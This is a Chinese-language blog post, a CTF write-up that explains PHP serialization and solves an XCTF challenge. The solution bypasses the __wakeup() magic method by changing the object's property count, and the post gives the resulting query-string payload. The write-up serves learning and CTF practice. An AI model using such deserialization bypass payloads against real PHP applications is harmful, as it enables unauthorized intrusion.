记录一次CTF经典PHP反序列化
PHP反序列化#
序列化通俗来讲就是将对象转化为可以存储、传输的字符串,反序列化就是把字符串再变回对象的过程。
例如:
<?php
class chybate {
var $test = '123456';
}
$cless1 = new chybate;
// 序列化
$cless1_ser = serialize($cless1);
echo $cless1_ser . '\n';
// 反序列化
$cless1_user = unserialize($cless1_ser);
print_r($cless1_user);
?>
O:7:"chybate":1:{s:4:"test";s:6:"123456";}
chybate Object
(
[test] => 123456
)
这里序列化结果中的O表示object对象,数字7表示对象类名长度为7,对象类名为"chybate"。数字1表示对象有一个变量,大括号里的s代表的是string类型,数字4表示变量名的长度,后面接着就是变量的值。
题目分析#
题目给出了一个类xctf,其中包含一个变量flag和一个魔术函数__wakeup()。并且提示用code接收一个序列化后的字符串。
其中魔术函数__wakeup()
是一个突破点,当使用unserialize()函数反序列化一个对象时,如果该对象类中定义了__wakeup()函数,则会自动调用该方法。
关于serialize()
和unserialize()
对魔术函数的处理:
serialize()函数序列化对象时,如果对象类中定义了__sleep()魔术函数,将会调用该方法来确定哪些属性需要被序列化。如果对象类没有定义__sleep()函数,将会序列化对象的所有属性。
unserialize() 函数反序列化对象时,如果对象中定义了__wakeup()魔术函数,将会在对象反序列化后调用该方法__wakeup()函数用于初始化反序列化后的对象状态,通常用于重新建立对象和其相关资源之间的联系。
那么如何利用__wakeup()魔术函数呢?
__wakeup()
的一个绕过点:一个对象被序列化后,如果它的属性被修改,那么它在反序列化的过程中则不会执行__wakeup()函数。
解题#
解题思路就是,修改序列化后中的属性值来绕过__wakeup()。
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf;
print(serialize($c));
?>
xctf序列化字符串:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
当被反序列化的字符串中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup()函数失效。
构造payload /?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
,这里将变量的个数改为2,属性个数发生变化,这样__wakeup()在初始化反序列化后的对象状态时就会失效,从而阻止了exit()函数的执行。
get flag!
总结#
PHP反序列化漏洞原理就是,在反序列化该对象时触发魔术方法从而执行命令或代码。
PHP序列化需注意以下几点:
-
序列化只序列属性,不序列方法。
-
能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发起攻击。
若有错误,欢迎指正!o( ̄▽ ̄)ブ
作者:smileleooo
出处:https://www.cnblogs.com/smileleooo/p/18143157
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· [翻译] 为什么 Tracebit 用 C# 开发
· 腾讯ima接入deepseek-r1,借用别人脑子用用成真了~
· Deepseek官网太卡,教你白嫖阿里云的Deepseek-R1满血版
· DeepSeek崛起:程序员“饭碗”被抢,还是职业进化新起点?
· 深度对比:PostgreSQL 和 SQL Server 在统计信息维护中的关键差异